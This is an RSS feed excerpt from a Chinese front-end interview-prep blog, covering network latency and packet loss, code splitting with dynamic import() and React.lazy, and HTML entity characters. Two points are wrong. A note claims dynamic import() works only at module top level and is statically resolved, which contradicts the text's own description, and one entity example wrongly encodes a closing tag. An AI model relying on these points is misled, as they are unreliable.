&lt;li&gt;&lt;strong&gt;限制无界队列深度：&lt;/strong&gt; 限制无界队列深度并提供反压通常可以减少代码中的等待时间，从而产生更可预测的延迟。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些方法可以帮助我们优化延迟，提高系统性能，让用户获得更好的体验。&lt;/p&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;p&gt;在前端面试中，&lt;strong&gt;网络延迟和丢包&lt;/strong&gt;是评估你对网络传输、性能瓶颈及应对策略理解的重要考点。面试官会通过这些话题判断能否从&lt;strong&gt;网络层面&lt;/strong&gt;分析问题、优化用户体验，特别是在弱网环境、移动端场景下。&lt;/p&gt;
&lt;h2 id="一网络延迟的考点"&gt;一、网络延迟的考点&lt;/h2&gt;
&lt;h3 id="1-网络延迟的构成"&gt;1. 网络延迟的构成&lt;/h3&gt;
&lt;p&gt;面试官可能会问：“用户输入 URL 后，请求延迟可能发生在哪些阶段？”&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DNS 解析&lt;/td&gt;
&lt;td&gt;域名 → IP 地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TCP 建立连接&lt;/td&gt;
&lt;td&gt;三次握手耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 握手&lt;/td&gt;
&lt;td&gt;HTTPS 建立安全连接耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;请求发送&lt;/td&gt;
&lt;td&gt;客户端发送数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;首字节返回 TTFB&lt;/td&gt;
&lt;td&gt;服务端处理 + 网络传输&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内容下载&lt;/td&gt;
&lt;td&gt;响应内容下载耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;渲染耗时&lt;/td&gt;
&lt;td&gt;浏览器解析和绘制页面&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="2-常见影响网络延迟的因素"&gt;2. 常见影响网络延迟的因素&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;地域距离：客户端与服务端物理距离大（如中国访问美国服务器）&lt;/li&gt;
&lt;li&gt;DNS 缓存未命中或 DNS 配置不合理&lt;/li&gt;
&lt;li&gt;TLS 握手过长（HTTPS 开销）&lt;/li&gt;
&lt;li&gt;带宽瓶颈：文件过大、网络拥堵&lt;/li&gt;
&lt;li&gt;长连接未复用（未启用 HTTP/2）&lt;/li&gt;
&lt;li&gt;移动网络抖动高（4G/5G 网络波动）&lt;/li&gt;
&lt;li&gt;首包延迟（TTFB 过高）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-如何优化延迟"&gt;3. 如何优化延迟？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;启用 CDN，部署全球节点，减少 RTT&lt;/li&gt;
&lt;li&gt;启用 DNS 预解析：&lt;code&gt;&amp;lt;link rel=&amp;quot;dns-prefetch&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用 HTTP/2 或 HTTP/3，减少连接耗时&lt;/li&gt;
&lt;li&gt;减少重定向跳转、合并请求&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;preconnect&lt;/code&gt;、&lt;code&gt;prefetch&lt;/code&gt; 提前连接目标源&lt;/li&gt;
&lt;li&gt;SSR 提前输出首屏 HTML，减少白屏&lt;/li&gt;
&lt;li&gt;缓存优化（减少服务端响应压力）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二丢包的考点"&gt;二、丢包的考点&lt;/h2&gt;
&lt;h3 id="1-丢包的本质"&gt;1. 丢包的本质&lt;/h3&gt;
&lt;p&gt;网络传输中，部分数据包因&lt;strong&gt;链路拥堵、信号弱、硬件丢包率高&lt;/strong&gt;等原因，未能到达目的地。&lt;/p&gt;</description></item><item><title>代码分割</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-014/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-014/</guid><description>&lt;h2 id="什么是代码分割"&gt;什么是代码分割&lt;/h2&gt;
&lt;p&gt;代码分割是一种将代码分割成多个小块的方式，然后按需加载或并行加载所需的块的技术。代码分割可以用于减少应用程序的初始加载时间或将代码切割成可按需加载的块，从而减少应用程序所需的总体代码量。&lt;/p&gt;
&lt;h2 id="为什么要使用代码分割"&gt;为什么要使用代码分割&lt;/h2&gt;
&lt;p&gt;在大型应用程序中，将所有代码放在一个文件中会导致应用程序加载时间过长，影响用户体验。为了解决这个问题，我们需要将代码分割成小块，然后按需加载或并行加载所需的块。&lt;/p&gt;
&lt;h2 id="代码分割的方式"&gt;代码分割的方式&lt;/h2&gt;
&lt;h3 id="1-动态导入-import"&gt;1. 动态导入 import&lt;/h3&gt;
&lt;p&gt;import()是 JavaScript 中的一个动态导入语法，它允许在运行时异步加载模块。它返回一个 Promise，该 Promise 在模块加载完成后被解析为一个包含导出内容的模块对象。 使用 import()的语法如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;modulePath&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 使用导入的模块
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 处理错误
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在这个语法中，modulePath 是一个字符串，用于指定要加载的模块路径。它可以是相对路径或绝对路径，也可以是一个包名。 当调用 import(modulePath)时，它会返回一个 Promise。这个 Promise 会在模块加载完成后被解析为一个包含导出内容的模块对象。你可以使用.then()方法来处理解析后的模块对象，并在其中使用导入的模块。 如果模块加载失败，Promise 会被拒绝，并触发.catch()方法中的错误处理逻辑。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意事项 import()只能在模块的顶层作用域中使用，不能在函数内部或条件语句中使用。这是因为 import()是静态解析的，它在代码加载时就会执行，而不是在运行时。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;另外，import()可以与其他语法结合使用，例如动态模块路径和对象解构。 动态模块路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;modulePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./myModule&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;modulePath&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 使用导入的模块
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 处理错误
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在这个示例中，modulePath 是一个变量，它的值在运行时确定。这样可以根据需要动态加载不同的模块。&lt;/p&gt;
&lt;p&gt;对象解构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;./myModule&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;(({ &lt;span style="color:#a6e22e"&gt;myFunction&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;myVariable&lt;/span&gt; }) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 使用导入的函数和变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;myFunction&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;myVariable&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 处理错误
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-reactlazy"&gt;2. React.lazy&lt;/h3&gt;
&lt;p&gt;React.lazy 是 React 16.6 版本引入的一个特性，它可以让你以动态的方式进行代码拆分（code splitting）。通过 React.lazy，你可以延迟加载（lazy load）一个组件，只有在需要时才会加载该组件，从而提高应用程序的性能。 React.lazy 的用法如下：&lt;/p&gt;</description></item><item><title>实体字符（转义字符）</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-014/</link><pubDate>Tue, 15 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-014/</guid><description>&lt;p&gt;HTML 的实体字符（HTML Entities）是用于显示某些特殊字符或符号的编码形式。&lt;/p&gt;
&lt;p&gt;HTML 中某些符号具有特殊含义，例如 &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt; 等字符不能直接在网页内容中使用，所以需要使用实体字符来表示它们。&lt;/p&gt;
&lt;h3 id="常见的-html-实体字符"&gt;常见的 HTML 实体字符&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;空格和控制字符&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;&lt;/strong&gt;：空格字符 (non-breaking space)&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;nbsp; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 表示一个空格 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/strong&gt;：小于号 &lt;code&gt;&amp;lt;&lt;/code&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;lt;div&amp;amp;gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 表示 &amp;lt;div&amp;gt; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;gt;&lt;/code&gt;&lt;/strong&gt;：大于号 &lt;code&gt;&amp;gt;&lt;/code&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;gt;/div&amp;amp;gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 表示 &amp;lt;/div&amp;gt; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;amp;&lt;/code&gt;&lt;/strong&gt;：与符号 &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;amp; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 表示 &amp;amp; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;quot;&lt;/code&gt;&lt;/strong&gt;：双引号 &lt;code&gt;&amp;quot;&lt;/code&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;quot;Hello&amp;amp;quot; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 表示 &amp;#34;Hello&amp;#34; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;apos;&lt;/code&gt;&lt;/strong&gt;：单引号 &lt;code&gt;'&lt;/code&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;apos;Hello&amp;amp;apos; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 表示 &amp;#39;Hello&amp;#39; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;数学符号&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;plus;&lt;/code&gt;&lt;/strong&gt;：加号 &lt;code&gt;+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;minus;&lt;/code&gt;&lt;/strong&gt;：减号 &lt;code&gt;−&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;times;&lt;/code&gt;&lt;/strong&gt;：乘号 &lt;code&gt;×&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;divide;&lt;/code&gt;&lt;/strong&gt;：除号 &lt;code&gt;÷&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;货币符号&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;dollar;&lt;/code&gt;&lt;/strong&gt;：美元符号 &lt;code&gt;$&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;euro;&lt;/code&gt;&lt;/strong&gt;：欧元符号 &lt;code&gt;€&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;pound;&lt;/code&gt;&lt;/strong&gt;：英镑符号 &lt;code&gt;£&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;yen;&lt;/code&gt;&lt;/strong&gt;：日元符号 &lt;code&gt;¥&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;其他常见符号&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;copy;&lt;/code&gt;&lt;/strong&gt;：版权符号 &lt;code&gt;©&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;reg;&lt;/code&gt;&lt;/strong&gt;：注册商标符号 &lt;code&gt;®&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;trade;&lt;/code&gt;&lt;/strong&gt;：商标符号 &lt;code&gt;™&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;sect;&lt;/code&gt;&lt;/strong&gt;：章节符号 &lt;code&gt;§&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;deg;&lt;/code&gt;&lt;/strong&gt;：度数符号 &lt;code&gt;°&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="5"&gt;
&lt;li&gt;&lt;strong&gt;希腊字母&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;alpha;&lt;/code&gt;&lt;/strong&gt;：α&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;beta;&lt;/code&gt;&lt;/strong&gt;：β&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;gamma;&lt;/code&gt;&lt;/strong&gt;：γ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;delta;&lt;/code&gt;&lt;/strong&gt;：δ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="为什么需要实体字符"&gt;为什么需要实体字符？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;避免 HTML 解析冲突&lt;/strong&gt;：例如 &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt; 等符号在 HTML 中有特定的用途，用实体字符可以避免冲突。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;显示特殊符号&lt;/strong&gt;：例如版权符号、商标符号或货币符号等，不能直接在键盘上输入，使用实体字符可以确保正确显示。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1-html-实体字符的定义与作用"&gt;1. &lt;strong&gt;HTML 实体字符的定义与作用&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 HTML 实体字符？为什么需要使用它们？&lt;/li&gt;
&lt;li&gt;实体字符用于在 HTML 中显示特殊符号（如 &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;&amp;quot;&lt;/code&gt; 等）或不可见字符（如空格 &lt;code&gt; &lt;/code&gt;、换行符等），避免与 HTML 语法冲突。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-常见的-html-实体字符"&gt;2. &lt;strong&gt;常见的 HTML 实体字符&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/strong&gt;：小于号 &lt;code&gt;&amp;lt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;gt;&lt;/code&gt;&lt;/strong&gt;：大于号 &lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;amp;&lt;/code&gt;&lt;/strong&gt;：与符号 &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;quot;&lt;/code&gt;&lt;/strong&gt;：双引号 &lt;code&gt;&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;apos;&lt;/code&gt;&lt;/strong&gt;：单引号 &lt;code&gt;'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;&lt;/strong&gt;：不间断空格 &lt;code&gt; &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-unicode-和-ascii-编码的实体字符"&gt;3. &lt;strong&gt;Unicode 和 ASCII 编码的实体字符&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HTML 支持通过 &lt;code&gt;&amp;amp;#xNNNN;&lt;/code&gt;（十六进制）或 &lt;code&gt;&amp;amp;#NNNN;&lt;/code&gt;（十进制）表示 Unicode 字符。例如：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;#x2665;&lt;/code&gt; 或 &lt;code&gt;&amp;amp;#9829;&lt;/code&gt; 表示 ♥&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;考察点可能涉及通过实体字符显示 Unicode 表情符号、语言字符等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-转义字符"&gt;4. &lt;strong&gt;转义字符&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在 HTML 中如何使用实体字符进行转义？&lt;/li&gt;
&lt;li&gt;为什么需要转义符号（如 &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;）？特别是在 HTML 元素内嵌 JavaScript 或样式时需要避免歧义。&lt;/li&gt;
&lt;li&gt;安全性方面的考量，尤其是防止 XSS（跨站脚本攻击）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-空白字符"&gt;5. &lt;strong&gt;空白字符&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;&lt;/strong&gt;（不间断空格）：防止自动换行或保留多个空格。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;ensp;&lt;/code&gt;&lt;/strong&gt; 和 **&lt;code&gt;&amp;amp;emsp;*&lt;/code&gt;*：半角和全角空格符号。&lt;/li&gt;
&lt;li&gt;实体空白符在排版和布局中的应用（如对齐、占位）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-其他常见实体字符"&gt;6. &lt;strong&gt;其他常见实体字符&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;货币符号：如 &lt;strong&gt;&lt;code&gt;&amp;amp;yen;&lt;/code&gt;&lt;/strong&gt;（¥）、&lt;strong&gt;&lt;code&gt;&amp;amp;euro;&lt;/code&gt;&lt;/strong&gt;（€）。&lt;/li&gt;
&lt;li&gt;数学符号：如 &lt;strong&gt;&lt;code&gt;&amp;amp;plusmn;&lt;/code&gt;&lt;/strong&gt;（±）、&lt;strong&gt;&lt;code&gt;&amp;amp;times;&lt;/code&gt;&lt;/strong&gt;（×）、&lt;strong&gt;&lt;code&gt;&amp;amp;divide;&lt;/code&gt;&lt;/strong&gt;（÷）。&lt;/li&gt;
&lt;li&gt;特殊符号：如 &lt;strong&gt;&lt;code&gt;&amp;amp;copy;&lt;/code&gt;&lt;/strong&gt;（©）、&lt;strong&gt;&lt;code&gt;&amp;amp;reg;&lt;/code&gt;&lt;/strong&gt;（®）、&lt;strong&gt;&lt;code&gt;&amp;amp;trade;&lt;/code&gt;&lt;/strong&gt;（™）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="7-html5-实体字符扩展"&gt;7. &lt;strong&gt;HTML5 实体字符扩展&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HTML5 中新增的一些实体字符，如：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;**&lt;code&gt;&amp;amp;le;*&lt;/code&gt;*（≤）和 &lt;strong&gt;&lt;code&gt;&amp;amp;ge;&lt;/code&gt;&lt;/strong&gt;（≥）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;bull;&lt;/code&gt;&lt;/strong&gt;（•）用于列表符号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;hellip;&lt;/code&gt;&lt;/strong&gt;（…）省略号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="8-实体字符与浏览器兼容性"&gt;8. &lt;strong&gt;实体字符与浏览器兼容性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;浏览器如何处理不支持的实体字符？&lt;/li&gt;
&lt;li&gt;考察点可能涉及浏览器对不同编码的支持，以及如何确保兼容性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="9-html-实体字符与国际化"&gt;9. &lt;strong&gt;HTML 实体字符与国际化&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;如何通过实体字符支持多语言文本？&lt;/li&gt;
&lt;li&gt;考察 Unicode 与实体字符在国际化中的应用，如如何使用实体字符表示非 ASCII 字符。&lt;/li&gt;
